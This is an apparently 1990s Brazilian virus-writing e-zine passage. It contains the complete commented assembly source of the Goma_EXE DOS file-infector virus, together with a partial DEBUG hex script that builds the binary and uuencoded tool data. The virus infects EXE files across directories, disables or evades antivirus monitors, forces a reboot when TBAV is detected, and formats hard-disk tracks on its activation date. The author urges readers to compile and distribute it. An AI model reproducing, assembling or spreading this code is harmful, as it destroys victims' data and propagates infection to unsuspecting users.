M`'(&^;@`">M:]H?<``)T!3/`Z0[KBTX(BU8&M#_-(7,$M`GK/O:'W`"`=#>` MI]P`^U97_(ORB_J+R.,EM`V`/`IU!8"/W``$K#K$=!D\&G4'@(_<``+K!8@% M1^+KB\<KPE]>Z;WJ@_D!=`>`/`ITZ^OF]H?<`$!T&+@`1,TA]\(@`'4)C5;_ MM#_-(7+4L`KK+,9&_P"-5O^T/\TA<L,+P'09@WX(`70?N?__B]&X`4+-(;D! M`(!^_PIT![`-BU8&ZY:+5@;KE(!^_PIUV^N^`%6+[(/L"(M>!#L>V@!R![@` M"?GI/>KVA]P`('0+N`)",\F+T<TA<NOVA]P`@'1NBU8&'@<SP(E&_HE&_/Q7 M5HOZB_*)9OB+3@CC5+`*\JYU2NC4`#VH`'9(@^P"B]RZ``(]*`)S`[J``"OB MB]2+^A8'BTX(K#P*=`P[^W09JN+TZ",`ZV&P#3O[=0/H&`"JL`K_1OSKX^@- M`.OB7E_K5>M%,\#I,N504U&+SRO*XQ"+7@2T0,TA<@T!1OX+P'0&65M8B_K# M@\0(<P2T">L>]H?<`$!T"XM>!H`_&G4#^.L,^;@`'.L&BT;^*T;\BV;X7E_I M7^F+3@@+R74%B\'I4^F+5@:T0,TA<P2T">OD"\!UX/:'W`!`=`J+VH`_&G4# M^.O/^;@`'.O)6:$&`3O$<P8KQ/?8_^$SP.OZ58OLBUX$"]MT!(!/_@&+Y5W# M58OL5E>[5`*#/P!U*1X'N`4`Z',!=04SP)GK)$`D_J-4`J-6`I;'!`$`@\8$ MQT3^_O^)-EH"BTX$C-B.P.@)`%]>B^5=P^G.`$%T^H#A_H/Y[G/RBW<"_*V+ M_J@!=$)(.\%S%8O0`_"MJ`%T-`/"!0(`B_>)1/[KYHO^=`P#^8E,_BO!2(D% MZP4#^?Y,_HO&C-J,T3O1=`4FC!YB`HE_`L,FQ@9H`@(]_O]T)8O^`_"MJ`%T M\HO^2#O!<[V+T`/PK:@!=.(#P@4"`(OWB43^Z^:+1P@+P'0$CMCK%";^#F@" M=!&,V(S7.\=T!2:.'EX"BS?KO(MW!C/`Z&H`.\9T#20!0$"8Z%X`=`W^3?[H M'`!T!99.3NN9C-B,T3O!=`0FHV("BP>)1P(SP)G#48M%_J@!=`,KR$E!0;K_ M?R8[%F0"=@31ZG7UB\$#QG(5`\)R#??2(\(KQN@,`'4(]]+1ZG7E,\!9PU)1 MZ!T`=!A7B_Z+\`/RQT3^_O^)=P:+UBO72HE5_EA96L-34#/2'E)24+@!`%`& M'^@/`(/$"(/Z_Q]:6W0""]+#`%6+[%97!H-^"`!U.+]B`(M6!HM&!$AU!^A3 M`'(GZTB+-K(`2'01._=T#8M$`HE&#%;H.@!><S"#Q@2!_K(`<P0+TG4&N/__ MF>L=B]J#PP_1V[$#T^NT2,TA<NF2B02)5`*)-K(`,\`'7UZ+Y5W#BTX,B_<Y M3`)T#(/&!('^L@!U\OGK/XO:`QQR.8O3CL$[]W4&.1Y<`',F@\,/T=O1Z]'K MT>L[]W4)`]FATP`KV([`M$K-(7(-._=U!(D67`"2AP2+T<-5B^R+UXO>C-B. MP(M^!#/`N?__\JZ-=?^+?@:Y___RKO?1*_F'_HM&!/?&`0!T`J1)T>GSI1/) M\Z2+\XOZ7<,`58OLB]>+WHMV!HO^C-B.P#/`N?__\J[WT8M^!(O'J`%T`J1) MT>GSI1/)\Z2+\XOZ7<-5B^R+UXO>C-B.P(MV!(M^!C/`N?__\J[WT2OY\Z9T M!1O`'?__B_.+^EW#`%6+[(O7C-B.P(M^!#/`N?__\J[WT4F1B_I=PP!5B^Q7 M5AX'BTX(XR:+V8M^!(OW,\#RKO?9`\N+_HMV!O.FBD3_,\DZ1?]W!'0$24GW MT8O!7E^+Y5W#58OL5E>S`8M."(M&!#/2@_D*=0&9BWX&Z14&`%6+[%97LP#I M_@55B^R+7@0['MH`?1&#^P!\#/:'W`!`=`6X`0#K`C/`B^5=PP!5B^R#[!97 M5HMV!,=&^```]D0&@W0,@WX*`G\&@WX*`'T(QP;-`!8`ZUR*1`>8B4;L@&0& M[_9$!H)T58-^"@%U$E;HF0*#Q`(!1@815@C'1@H``%;HL>Z#Q`+V1`:`=`2` M9`;\_W8*_W8(_W8&_W;LZ)WW@\0(/?__=`/I6`*#^O]T`^E0`KC__UY?B^5= MPY#V1`8,=1R*1`>8B]C1XP/8T>/VA\0!`74)5N@#ZH/$`NL@BT;LB\C1X`/! MT>`%Q`&)1NJ+V/8'!'0(QT;X`0"`)_NX`0!0*\!04/]V[.@P]X/$"(E&](E6 M]CW__W4%@_K_=).#?@H!=26+1@8+1@AU"8-^^`!U`^G,`8M$`IF+3O2+7O8K MR!O:`4X&$5X(@WX*`G0DBU[LB\/1XP/8T>/VA\0!"'42BT;TBU;V.58(?'=_ M!3E&!G9PN`(`4"O`4%#_=NSHNO:#Q`B)1NZ)5O`KP%#_=O;_=O3_=NSHHO:# MQ`B#?@H"=0R+1NZ+5O`!1@815@B+1NZ+5O`Y5@A_&GP%.48&=Q.+7NR+P]'C M`]C1XX"GQ`'WZQ&0BU[LB\/1XP/8T>.`C\0!"(I$!YB+V-'C`]C1XXN'Q@&) M1OZ#?@@`?0/I3OZ+7NR+P]'C`]C1X_:'Q`$(=`/I9?[V1`8$=`/I7/Z+1OZ9 M4E#_=@C_=@;H'P6+^)F+3@:+7@@KR!O:B4[ZB5[\@WP"`'16@W[X`'50BT;^ MF5)0F5)0BT;TBU;V+0$`@]H`4E#H#@124.BM!#M&^G4L.U;\=2>+!"M$!`%$ M`HM>[/:'W`"`=''VA]P`!'0%"_]T`4>+1`2)!.M5D)`KP%#_=OS_=OK_=NSH MD?6#Q`@]__]U"(/Z_W4#Z9/]BD0'F(O8T>,#V-'C_[?&`?]T!/]V[.B&]X/$ M!HE$`@O`?9_I;?V0BQR`/PIU`4__3`+_!(O'3PO`?@SKZHM$!`/'B00I?`(K MP%Y?B^5=PU6+[(/L#E=6BW8$@WP"`'T%QT0"``"*1`>8B4;TN`$`4"O`4%#_ M=O3H!_6#Q`B)1OJ)5OP+TGT*N/__F5Y?B^5=P_9$!@AU+(I$!YB+V-'C`]C1 MX_:'Q`$!=1F+1`*9B\B+VHM&^HM6_"O!&]->7XOE7<.0BP0K1`2)1O;V1`8# M="Z+7O3VA]P`@'06BWP$B\CK")"`/0IU`4%'.3QU]8E.]HM&^@M&_'46BT;V MZXR0]D0&@'7LQP;-`!8`Z7G_D/9$!@%U`^F=`(-\`@!U"<=&]@``Z8\`D(L$ M*T0$`T0"B4;RBU[T]H?<`(!T;[@"`%`KP%!04^@Y](/$"#M&^G4I.U;\=22+ M1O(#1`2)1OB+?`2+T(M.\NL(D(`]"G4!04<[UW7UB4[RZS(KP%#_=OS_=OK_ M=O3H^?.#Q`B*1`>8B]C1XP/8T>.+A\8!B4;RBU[T]H?<``1T`_]&\HM&\IDI M1OH95OR+1O:9`T;Z$U;\7E^+Y5W#58OL5U:+=@2#?@@$="*#?@H`=0BX`0!> M7UW#D(-^"`!T#H-^"$!T"+@"`%Y?7<.05NB`ZH/$`E;H&^B#Q`+V1@@$="2` M3`8$BD0'F(O(T>`#P='@B_C&A<0!``7%`8E&!L=&"@$`ZU.#?@8`=33_=@KH MCO>#Q`*)1@8+P'4(N`,`7E]=PY"`9`;[@$P&"(I$!YB+V-'C`]C1X\:'Q`$` MZQJ0_P8B`8!D!O.*1`>8B]C1XP/8T>/&A\0!`8I$!YB+V-'C`]C1XXM&"HF' MQ@&+1@:)1`2)!,=$`@``*\!>7UW#D%6+[%>+?@0>!XO?,\"Y___RKD'WV8I& M!HO[\JY/.`5T`C/_B\=?B^5=PU6+[%<>!XM^!#/`N?__\JY!]]E/BD8&_?*N M1S@%=`0SP.L"B\?\7XOE7<,`58OLBUX$B].*!PK`=!$L03P:<P0$88@'0XH' M"L!U[Y)=PU6+[(O7B]Z,V([`BW8&BWX$B\>+3@CC#J@!=`*D2='I\Z43R?.D MB_.+^EW#BTX*BT8$BU8&BWX(5QX'_),*P'03@_D*=0X+TGD*L"VJ]]N#T@#W MVHOWDC/2"\!T`O?QD_?QDH?3!#`\.78"!">JB\(+PW7BB`5/K(8%B$3_C40! M.\=R\EA?7HOE7<,`58OLBU8$M$'-(>D#WP!5B^Q75E,S_XM&!@O`?1+WUXM6 M!/?8]]H=``")1@:)5@2+1@H+P'T2]]>+5@CWV/?:'0``B48*B58("\!U%HM. M"(M&!C/2]_&+V(M&!/?QB]/K/)"+V(M."(M6!HM&!-'KT=G1ZM'8"]MU]/?Q MB_`STE)0_W8*_W8(Z"@`.U8&=P=R"#M&!'8#@^X!,]*+Q@O_=`?WVO?8@]H` M6UY?B^5=P@@``%6+[(M&!HM>"@O8BUX(=0N+1@3WXXOE7<((`/?CB\B+1@3W M9@H#R(M&!/?C`]&+Y5W""`!5B^Q35S/_BT8&"\!]$O?7BU8$]]CWVAT``(E& M!HE6!(M&"@O`?1"+5@CWV/?:'0``B48*B58("\!U&HM."(M&!C/2]_&+1@3W M\8O",](+_W5%ZTJ0B]B+3@B+5@:+1@31Z]'9T>K1V`O;=?3W\3/24E#_=@K_ M=@CH4?\[5@9W!W(+.T8$=@8K1@@;5@HK1@0;5@8+_W4']]KWV(/:`%];B^5= MP@@```````````````````````````!-4R!2=6XM5&EM92!,:6)R87)Y("T@ M0V]P>7)I9VAT("AC*2`Q.3@W+"!-:6-R;W-O9G0@0V]R<!X````N8V]M``#D M!OX&&`<T!TX'9`=X!XH'G@<`````NP@``.P"```````````````````````` M```````````````````````````````````````````````````````````` M`````````````````&(`.T-?1DE,15])3D9/```````````````````````` M```````````4`(&!@0$!````````````````````````````^@#L`D,````` M`````````!!7````%@("&`T)#`P,!P@6%O\2#1("_UP`7````(!+``"`2P$` M`````````@$````````&`@```````(0#`````````@0````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````!```"```````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M``"\`2AN=6QL*0`H;G5L;"D`*RT@(P```````````````````````````"`` M````<`EP"7`)<`EP"0`````````@("`@("`@("`H*"@H*"`@("`@("`@("`@ M("`@("`@($@0$!`0$!`0$!`0$!`0$!"$A(2$A(2$A(2$$!`0$!`0$(&!@8&! M@0$!`0$!`0$!`0$!`0$!`0$!`0$!$!`0$!`0@H*"@H*"`@("`@("`@("`@(" M`@("`@("`@(0$!`0(``````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M````````````````````````````0`UE>&4R8V]M("5U+B5U)74@8GD@0VAR M:7,@1'5N9F]R9"]4:&4@0V]V92!3;V9T=V%R92!'<F]U<`H`+F5X90``+F5X M90``<F(``&5X93)C;VTZ(&-A;B=T(&9I;F0@:6YP=70@9FEL92`E<PH``'=B M``!E>&4R8V]M.B!C86XG="!O<&5N(&]U='!U="!F:6QE("5S"@!U<V%G93H@ M97AE,F-O;2!;+TE=(&EN9FEL92!;;W5T9FEL95T*`$U:```N8V]M``!E>&4R M8V]M('=A<FYI;F<Z($-/32!F:6QE+"!I;FET:6%L($E0(&YO="`Q,#!("@`* M)2TR,',@("`@("`@("`@*&AE>"D@("`@("`H9&5C*0H`("!%6$4@9FEL92!S M:7IE("`@("`@("`@("`@("`@)35L6"`@("`E-VQU"@`@($5812!H96%D97(@ M<VEZ92`H<&%R82D@("`@("`@)318("`@("4W=0H``"!0<F]G<F%M(&EM86=E M('-I>F4@*&)Y=&5S*2`@)35L6"`@("`E-VQU"@``("!-:6YI;75M(&QO860@ M<VEZ92`H8GET97,I("`@)35L6"`@("`E-VQU"@`@($UI;B!A;&QO8V%T:6]N M("AP87)A*2`@("`@("`@)318("`@("4W=0H``"`@36%X(&%L;&]C871I;VX@ M*'!A<F$I("`@("`@("`E-%@@("`@)3=U"@``($EN:71I86P@0U,Z25`@("`@ M("`@("`@("4P-%@Z)3`T6`H`($EN:71I86P@4U,Z4U`@("`@("`@("`@("4P M-%@Z)3`T6"`@("`E-W4@*'-T86-K('-I>F4I"@`@4F5L;V-A=&EO;B!C;W5N M="`@("`@("`@("`@("`E-%@@("`@)3=U"@`@(%)E;&\@=&%B;&4@<W1A<G0@ M("`@("`@("`@("`@)3`T6"`@("`E-W4*`"`@15A%(&9I;&4@8VAE8VMS=6T@ M("`@("`@("`@("`E,#18("`@("4W=0H`("!/=F5R;&%Y(&YU;6)E<B`@("`@ M("`@("`@("`@("4T6"`@("`E-W4*```J(#T@=&AI<R!I=&5M('!R979E;G1S M(&-O;G9E<G-I;VX@=&\@0DE.+T-/30H`97)R;W(@<F5A9&EN9R!%6$4@:&5A M9&5R``!E<G)O<B!W<FET:6YG(&]U='!U="!F:6QE`&EN=F%L:60@15A%(&9I M;&4@<VEG;F%T=7)E``!%6$4@:&%S(')E;&]C871A8FQE(&ET96US`$5812!H M87,@<W1A8VL@<V5G;65N=`!%6$4@:&%S(&YO;GIE<F\@0U,``$E0(&YO="`P M(&]R(#$P,$@``'!R;V=R86T@97AC965D<R`V-$L`=6YK;F]W;B!I;G1E<FYA M;"!E<G)O<@``97AE,F-O;3H@)7,L(&-A;B=T(&-O;G9E<G0*`#P\3DU31SX^ M``!2-C`P,`T*+2!S=&%C:R!O=F5R9FQO=PT*``,`4C8P,#,-"BT@:6YT96=E M<B!D:79I9&4@8GD@,`T*``D`4C8P,#D-"BT@;F]T(&5N;W5G:"!S<&%C92!F M;W(@96YV:7)O;FUE;G0-"@#\``T*`/\`<G5N+71I;64@97)R;W(@``(`4C8P M,#(-"BT@9FQO871I;F<@<&]I;G0@;F]T(&QO861E9`T*``$`4C8P,#$-"BT@ =;G5L;"!P;VEN=&5R(&%S<VEG;FUE;G0-"@#___\` ` end ───────────────── EXE2COM ───────────────── Bom galera, os fontes estao ai, o uuencode tambem, qualquer duvida que voce tenha com a utilizacao do programa mande um e-mail que veremos o que esta ocorrendo, fora isso, nada a declarar, tipo utilizaremos es- te programa em breve, com um virus de boot (quer dizer se eu conseguir arrumar as fontes do Leandro&Kelly), ou eu arrumo algum TSR para a gen- te se divertir ... T + Nim_Bus ───────────────────────────────────────────────────────────────────────────── / __ ___ | / | |__) | | (__ |/ | | \ |___| ___) ───────────────────────────────────────────────────────────────────────────── ──────────────────────────────── 5 - Goma_EXE (codigo-fonte) ──────────────────────────────── Bom ai oh, ta ai meu virus, e' o segundo (ou o terceiro, sei la, de minha autoria exclusivo para o zine, sem bugs, totalmente comentado sem Flags, ops (so' da uma, flag K no TBAV e foi de proposito). O Virus e' 100% Desconhecido (So' para variar) E' so' compilar/linkar e distribuir ... ... Goma para sempre seu bando de cururu ... `A memoria de Regis e Guino ... Goma para sempre seu bando de cururu ... Comentarios : O virus tem 1551 bytes de tamanho, infecta arquivos EXE (quantos e- xistirem no diretorio que o virus se encontra), nao altera data nem hora das vitimas, e' um virus de appending, ou seja, ele insere seu codigo a- pos o final do arquivo. - Infecta arquivos EXE Verifica se arquivo ja foi infectado, se tem overlay e se e' real- mente um arquuivo EXE . - Sem Flags no TBAV (Flag K, apenas, um charme nada mais), Nada na Heu- ristica do F-PROT e Nada no DEEP do AVP . Quer dizer e' mais um virus e' 100 % desconhecido !!!! - Data de Ativacao 22/10/???? Data do falecimento dos nosso dois camaradas (valeu irmaos, esse e' mais um por voces .) - Acao do virus Multiplicacao, Formatacao das 9 primeiras cabecas da HD, 35 bips e mensagem (e' logico) !!! (Acao implementada no Goma_COM) - Rotinas que merecem destaque: Traverse Loop (O virus guarda o diretorio em que foi executado pela primeira vez e vai descendo ate o diretorio raiz (infectando quantos EXE's) existirem na descida e posteriormente retorna ao diretorio de ori- gem . A mascara dos arquivos a serem procurados (*.EXE) sofreu uma leve alteracao . (Sem Flags) (Vide Virus Brasil nº1) Removedor do Vsafe ou Vwatch . (Sem Flags) Verificador se TBmem esta na memoria e se estiver, de um boot. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GOMA_EXE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; page 22101997 title Virus Brasil nº2 em 1999 por nim_bus@hotmail.com name Goma_EXE ; .286c ; Instrucoes 80286 .model tiny ; Modelo de memoria ;;;;;;;;;;;;;;;;;; CONSTANTES ;;;;;;;;;;;;;;;;;;;;;;;; com equ 100h ; fechar_arq equ 3eh ; Data_Hora_Sistema equ 2ah ; atributos_arq equ 4300h ; data_hora_arq equ 5700h ; fechar_arq equ 3eh ; abrir_arq equ 3d02h ; ler_arq equ 3fh ; set_dta equ 1ah ; escrever_bytes equ 40h ; achar_primeiro equ 4eh ; achar_proximo equ 4fh ; mover_ponteiro equ 4200h ; diretorio equ 47h ; muda_dir equ 3bh ; tbav equ 0ca00h ; vsafe_vwatch equ 0fa00h ; bips equ 0e07h ; Mes_Ativacao equ 10 ; Dia_Ativacao equ 22 ; Tamanho equ Fim - Virus ; ;;;;;;;;;;;;;;;;;; CONSTANTES ;;;;;;;;;;;;;;;;;;;;;;;; ; Code segment byte public 'code' ; assume cs:code,ds:code,es:nothing,ss:nothing org com ; Virus vai ser .COM ; Inicio: ; call Virus ; Jmp para o virus ; Arquivo_byte: ; int 20h ; Arquivo byte que o virus infecta ; na compilacao (digamos assim) Virus: ; push ds es ; ; call avp ; ; push cs ; pop ds ; lea dx,[bp + offset DTA] ; mov ah,set_dta ; Endereco de transferencia int 21h ; ; push [bp + exe_cs] ; push [bp + exe_ip] ; push [bp + exe_ss] ; push [bp + exe_sp] ; ; call Tbav_Instalado ; ; call Retira_Vsafe ; ; call Acao ; ; call Ponto_ponto ; ; pop [bp + exe_sp] ; pop [bp + exe_ss] ; pop [bp + exe_ip] ; pop [bp + exe_cs] ; ; pop es ds ; mov ah,set_dta ; Endereco de transferencia mov dx,81h ; dec dx ; int 21h ; ; Continua: ; mov ax,ds ; Endereco de retorno add ax,10h ; push ax ; add ax,cs:[bp + exe_cs] ; mov cs:[bp + cs_ret],ax ; ; mov ax,cs:[bp + exe_ip] ; mov cs:[bp + ip_ret],ax ; ; pop ax ; add ax,cs:[bp + exe_ss] ; Pilha (para restaurar) cli ; mov ss,ax ; mov sp,cs:[bp + exe_sp] ; ; call Registradores ; ; sti ; ; db 0EAh ; Retorno para o Arquivo_Byte (INT 20H) ; ; ;;;;;;;;;;;;;;;; DATA ;;;;;;;;;;;;;;;;;; ip_ret dw 0 ; cs_ret dw 0 ; exe_cs dw -16 ; CS:IP exe_ip dw 103h ; exe_sp dw -2 ; SS:SP exe_ss dw -16 ; ;;;;;;;;;;;;;;;; DATA ;;;;;;;;;;;;;;;;;; ; Registradores: ; xor ax,ax ; cwd ; xor bx,bx ; mov si,com ; call Registradores_2 ; ; Registradores_2: ; xor di,di ; xor bp,bp ; ret ; ; Ponto_ponto: ; sub sp,64 ; Alocando espaco na pilha mov si,sp ; inc si ; mov ah,diretorio ; Pega o diretorio atual xor dl,dl ; push ds ; push ss ; pop ds ; int 21h ; ; pop ds ; dec si ; mov byte ptr ss:[si],'\' ; Guarda o directorio ; Proximo_dir: ; call Infectar_dir ; ; lea dx,[bp + ponto] ; mov ah,muda_dir ; Vamos para o proximo dir (cd..) int 21h ; jnc Proximo_dir ; ; Volta_dir: ; add sp,64 ; Reseta a pilha mov dx,si ; push ds ; push ss ; pop ds ; mov ah,muda_dir ; int 21h ; ; pop ds ; ret ; ; Infectar_dir: ; mov ah,achar_primeiro ; Achar o primeiro arquivo EXE inc byte ptr [bp + offset Arq_EXE] ; Fazer o ).EXE virar *.EXE lea dx,[bp + Arq_EXE] ; int 21h ; dec byte ptr [bp + offset Arq_EXE] ; Voltar para ).EXE jc Infectado ; ; Proximo_arq: ; lea dx,[bp + DTA + 1Eh] ; ; call executa ; ; mov ah,achar_proximo ; Achar os proximos EXE int 21h ; ; jnc Proximo_arq ; ; Infectado: ; ret ; ; ponto db '..',0 ; cd .. ; executa: ; push si ; ; mov ax,atributos_arq ; Pega os attributos do arquivo int 21h ; ; push cx dx ds ; xor cx,cx ; call Muda_attrib ; ; mov ax,abrir_arq ; Abrir arquivo int 21h ; ; jc Erro ; xchg bx,ax ; ; mov ax,data_hora_arq ; Salvar data e hora int 21h ; ; push cx dx ; mov ah,ler_arq ; Ler o arquivo mov cx,28 ; lea dx,[bp + Buffer] ; int 21h ; ; cmp byte ptr [bp + Buffer],'M' ; Comeca com M ? je Infectar ; Entao e' .EXE , infecte ; cmp byte ptr [bp + Buffer],'Z' ; Comeca com Z ? je Infectar ; Entao e' .EXE , infecte ; jmp Nao_infectar ; So e' .EXE nada mais ; Data_Hora: ; pop dx cx ; mov ax,data_hora_arq ; Restaurar data e hora inc al ; int 21h ; ; Fechar: ; pop ds dx cx ; Restore Attributos do arquivo call Muda_attrib ; ; mov ah,fechar_arq ; Fechar arquivo int 21h ; ; Erro: ; pop si ; ret ; ; Muda_attrib: ; mov ax,atributos_arq ; Mudar Attributos do arquivo inc al ; int 21h ; ret ; ; Arq_EXE db ').EXE',0 ; Mascara dos *.EXE ; Nao_infectar: ; pop cx dx ; Nao foi possivel infectar ... jmp Fechar ; Entao feche o arquivo. ; Infectar: ; cmp word ptr [bp + Buffer + 26],0 ; Tem overlay ? jne Nao_infectar ; Entao nao infecta ; cmp word ptr [bp + Buffer + 16],'OG' ; Ja esta infectado ? je Nao_infectar ; Entao nao infecta ; les ax,dword ptr [bp + Buffer + 20] ; mov [bp + exe_cs],es ; mov [bp + exe_ip],ax ; les ax,dword ptr [bp + Buffer + 14] ; mov [bp + exe_ss],ax ; mov [bp + exe_sp],es ; mov word ptr [bp + Buffer + 16],'OG'; Escrever GOMA no arquivo mov word ptr [bp + Buffer + 18],'AM'; Da flag K No TBAV , mas que ; se foda ... vai como uma string ; para anti-virus (se e'que existe ; ainda AV com string para o usuario ; procurar , acho que o PAV tem ) mov ax,mover_ponteiro ; Vamos para o fim do arquivo add ax,2 ; cwd ; xor cx,cx ; int 21h ; ; push ax dx ; Salvar o tamanho do arquivo ; push bx ; mov cl,12 ; Calcular CS shl dx,cl ; e IP mov bx,ax ; mov cl,4 ; shr bx,cl ; add dx,bx ; and ax,15 ; pop bx ; ; sub dx,word ptr [bp + Buffer + 8] ; mov word ptr [bp + Buffer + 22],dx ; mov word ptr [bp + Buffer + 20],ax ; add dx,com ; mov word ptr [bp + Buffer + 14],dx ; ; pop dx ax ; Calcular tamanho do programa ; add ax,Tamanho + 3 ; adc dx,0 ; mov cx,512 ; div cx ; Salve o resultado inc ax ; mov word ptr [bp + Buffer + 2],dx ; mov word ptr [bp + Buffer + 4],ax ; ; mov ah,escrever_bytes ; Escrever o virus no arquivo mov cx,Tamanho + 3 ; lea dx,[bp + Virus] ; int 21h ; ; ; mov ax,mover_ponteiro ; Volte para o comecinho do arquivo cwd ; xor cx,cx ; int 21h ; ; mov ah,escrever_bytes ; Grave a header mov cx,27 ; inc cx ; lea dx,[bp + Buffer] ; int 21h ; jmp Data_Hora ; Feito , restaura data e horario ! ; ; int_21: ; int 21h ; ret ; ; Mensagem: ; db "[TDG'99]",13,10 ; db " Goma_EXE_99 por Nim_Bus@hotmail.com",13,10,13,10 ; db " ... Goma para sempre seu bando de Cururu ... ",13,10,13,10 ; db " Agradecimentos :",13,10 db " Allan , Bozo (Daniel) , Daniel , Doido (Claudio) ,",13,10 db " Du (Eduardo) , Guino (Welton (In Memoriam)) , Harry (Flavio) ,",13,10 db " Henrique , Japones (Marcelo) , Jeca (Aldo) , Regis (In Memoriam) , ",13,10 db " Ricardo , Str (Everson) , Eu e o Willian .",13,10,13,10 db " Ao Lele'(Alexandre) , ao Pedro , ao Thyago , ao Ze' (do Belem), ",13,10 db " ao Allan (Mutante) , ao Dark-Dream (Denis) , ao Moura (Gabriel) ,",13,10 db " ao MMI (Marcelo) , ao Alevirus (Jose) , ao Zé(Luciano) , ao Fred ,",13,10 db " ao Lipe (Luiz),aos boy's (Marcelo, Rodrigo e Tadashi) e a toda ",13,10 db " galera da facu (EQ 98 unicamp) ",13,10,13,10 db " Cidade Patriarca - Zona Leste - SP - Sao Paulo - Brasil",13,10,13,10 ; db " Boa sorte , ah aperta alguma tecla para continuar ...",13,10,13,10 db " Ps. Ae galera ta ai o nome do6 agora nao enche mais o saco !!!",10,13,"$" ; avp: ; call $ + 3 ; BP do ponteiro pop bp ; sub bp,offset $ - 1 ; int 3 ; Break Point para Debugger ret ; ; Acao: ; mov ah,Data_Hora_Sistema ; call int_21 ; ; cmp dh,mes_ativacao ; jne Sem_acao ; ; cmp dl,dia_ativacao ; jne Sem_acao ; ; ; mov ah,09h ; lea dx,[bp+msg_espera] ; int 21h ; ; call format ; ; mov ah,09h ; lea dx,[bp+mensagem] ; int 21h ; ; mov ah, 0 ; Espera por uma tecla int 16h ; ; ret ; ; Tbav_instalado: ; mov ax,Tbav ; Ver se o TBSCANX esta instalado mov bx,'TB' ; TB=TBscanx int 2fh ; ; cmp al,0 ; al = 0 ; TBSCANX n╞o esta instalado jne Tbav_erro ; Esta ? Nao vamos marcar toca . Essa ; porra monitora tudo , da um boot . ; ret ; Nao esta , retorne e continua a ; execucao do virus ; Tbav_erro: ; Bom , o TBmen esta na memoria mov ax,Bips ; chr do bip int 10h ; Bip ; mov ah, 0 ; Esperar por uma tecla para int 16h ; ; int 19h ; Dar o Boot ; ret ; Quer dizer , em tese , agente volta . ; Format proc near ; mov ch,0 ; Track zero mov dx,80h ; Cabeca zero, 1ª HD ; Fodendo: ; mov ch,0 ; Track zero mov al,0 ; Carregue zero mov cl,6 ; Vezes (vai dar zero) shl al,cl ; mov cl,al ; Mover resultado (zero) or cl,1 ; Um agora (proxima linha zero) mov ax,500h ; Formata track call zuei ; jb Bip ; Ja deu vamos bipar inc dh ; Proxima cabeca cmp dh,9 ; Ja estamos na nona cabeca ? jne Fodendo ; Formata se nao ; Format endp ; ; Bip: ; Rotina de "emissao de aviso sonoro" mov cx,35 ; cx = numero de bips beep: ; mov ax,Bips ; chr do bip int 10h ; Bip loop beep ; Ate 35 , por favor !! ret ; Retorne ; ; Retira_Vsafe: ; Retirar o Vsafe ou o Vwatch da ; memoria mov ax,Vsafe_Vwatch ; Endereco que ele fica alocado inc al ; mov dx,5945h ; call int_21 ; Desalocado se nao existem mais TSR's ; carregados apos ele . ret ; ; Zuei: ; int 13H ; I/O ret ; ; Sem_acao: ; ret ; ; Msg_espera db 'Aguarde alguns instantes ...$' ; Fim: ; Buffer db 28 dup (?) ; Buffer de leitura DTA db 128 dup(?) ; Code ends ; end Inicio ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GOMA_EXE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Como foi dito na ultima edicao do Zine, esta ai um EXE infector, um pouco mais complicado que um COM infector, mas ta valendo ... Quem sabe no proximo numero nao vai um COM e EXE infector !!! ─────────────────────────────────────────────────────────────────────────────── ___ ___ __ . __ ___ (__ | |__) | |__) | ___) |___ | \ | | | ─────────────────────────────────────────────────────────────────────────────── ──────────────────────────────── 6 - Goma_EXE (Script File) ──────────────────────────────── Essa parte do zine contem um script para ser utilizado no debug do dos, esse script cria o virus Goma_EXE a partir do debug pelo simples co- mando: DEBUG < (arquivo.scr) Recorte o script abaixo (delimitado pelos ;;;; Goma_exe.scr ;;;) e crie um arquivo com qualquer nome e em seguida rode o comando dado acima, pronto, o debug acaba de criar o virus GOMA_EXE no arquivo GOMA_EXE.COM. ;;;;;;;;;;;;;;;;; GOMA_EXE.SCR ;;;;;;;;;;;;;;;;;;;;;;; N GOMA_EXE.COM E 0100 E8 02 00 CD 20 1E 06 E8 64 05 0E 1F 8D 96 2D 07 E 0110 B4 1A CD 21 3E FF B6 83 01 3E FF B6 85 01 3E FF E 0120 B6 89 01 3E FF B6 87 01 E8 74 05 E8 B6 05 E8 47 E 0130 05 E8 67 00 3E 8F 86 87 01 3E 8F 86 89 01 3E 8F E 0140 86 85 01 3E 8F 86 83 01 07 1F B4 1A BA 81 00 4A E 0150 CD 21 8C D8 05 10 00 50 2E 03 86 83 01 2E 89 86 E 0160 81 01 2E 8B 86 85 01 2E 89 86 7F 01 58 2E 03 86 E 0170 89 01 FA 8E D0 2E 8B A6 87 01 E8 0E 00 FB EA 00 E 0180 00 00 00 F0 FF 03 01 FE FF F0 FF 33 C0 99 33 DB E 0190 BE 00 01 E8 00 00 33 FF 33 ED C3 83 EC 40 8B F4 E 01A0 46 B4 47 32 D2 1E 16 1F CD 21 1F 4E 36 C6 04 5C E 01B0 E8 18 00 8D 96 ED 01 B4 3B CD 21 73 F3 83 C4 40 E 01C0 8B D6 1E 16 1F B4 3B CD 21 1F C3 B4 4E 3E FE 86 E 01D0 47 02 8D 96 47 02 CD 21 3E FE 8E 47 02 72 0D 8D E 01E0 96 4B 07 E8 0A 00 B4 4F CD 21 73 F3 C3 2E 2E 00 E 01F0 56 B8 00 43 CD 21 51 52 1E 33 C9 E8 41 00 B8 02 E 0200 3D CD 21 72 38 93 B8 00 57 CD 21 51 52 B4 3F B9 E 0210 1C 00 8D 96 11 07 CD 21 3E 80 BE 11 07 4D 74 31 E 0220 3E 80 BE 11 07 5A 74 29 EB 23 5A 59 B8 00 57 FE E 0230 C0 CD 21 1F 5A 59 E8 06 00 B4 3E CD 21 5E C3 B8 E 0240 00 43 FE C0 CD 21 C3 29 2E 45 58 45 00 59 5A EB E 0250 E2 3E 83 BE 2B 07 00 75 F4 3E 81 BE 21 07 47 4F E 0260 74 EB 3E C4 86 25 07 3E 8C 86 83 01 3E 89 86 85 E 0270 01 3E C4 86 1F 07 3E 89 86 89 01 3E 8C 86 87 01 E 0280 3E C7 86 21 07 47 4F 3E C7 86 23 07 4D 41 B8 00 E 0290 42 05 02 00 99 33 C9 CD 21 50 52 53 B1 0C D3 E2 